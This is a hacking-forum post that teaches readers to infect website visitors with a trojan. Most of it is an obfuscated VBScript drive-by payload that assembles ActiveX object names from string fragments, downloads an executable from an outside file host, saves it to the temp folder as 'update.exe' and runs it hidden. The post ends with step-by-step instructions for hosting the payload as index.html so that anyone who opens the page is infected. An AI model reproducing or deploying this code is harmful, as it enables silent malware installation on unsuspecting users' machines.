T-r-0-j-a-n attack-- HTML secret

Subject: T-r-0-j-a-n attack-- HTML secret 16.07.14 14:28

All you must have heard tht some one got infected with a t*r*o*j*a*n by visiting some website .

i am going to help you understand how tht is done !!!

Look @ this Html code

on error resume next
dl = "http://www.filedropper.com/trojanexe"
Set df = document.createElement("object")
cls1="clsid:BD96"
cls2="C556-65A"
cls3="3-11D0-9"
cls4="83A-00C04FC29E36"
clsfull=cls1&cls2&cls3&cls4
df.setAttribute "classid",clsfull
strr1="Mic"
strr2="roso"
strr3="ft."
strr4="XML"
strr5="HTTP"
strr=strr1&strr2&strr3&strr4&strr5
Set x = df.CreateObject(strr,"")
ab1="A"
ab2="dod"
ab3="b.S"
ab4="t"
ab5="re"
ab6="am"
strb1=ab1&ab2&ab3&ab4&ab5&ab6
strb5=strb1
set YY = df.createobject(strb5,"")
YY.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fnamezz1="update.exe"
scripp1="Scrip"
scripp2="ting"
scripp3=".Fil"
scripp4="eSyste"
scripp5="mObject"
scripp=scripp1&scripp2&scripp3&scripp4&scripp5
set FF = df.createobject(scripp,"")
set tmp = F.GetSpecialFolder(2)
fnamezz1= FF.BuildPath(tmp,fnamezz1)
YY.open
YY.write x.responseBody
YY.savetofile fnamezz1,2
YY.close
set MM = df.createobject("Shell.Application","")
MM.ShellExecute fnamezz1,"","","open",0

this s a normal html code which would create a simple webpage.

Nw wat yu hav 2 do is, d server file of your t*r*o*j*a*n you will have to upload it on some webhosting and then change the link of the server file in the code and then save this code as "index.html" and then upload it to the same host.

All done, now everytime someone opens that webpage they would be infected with your t*r*o*j*a*n's server

update : most of the AV programz dectecting this typ of codes now

any way hope this helps to understand the logic and script

thnkzz fr readin this gyuzzz!!! hope yu fynd it yusefull!! D3D0S3R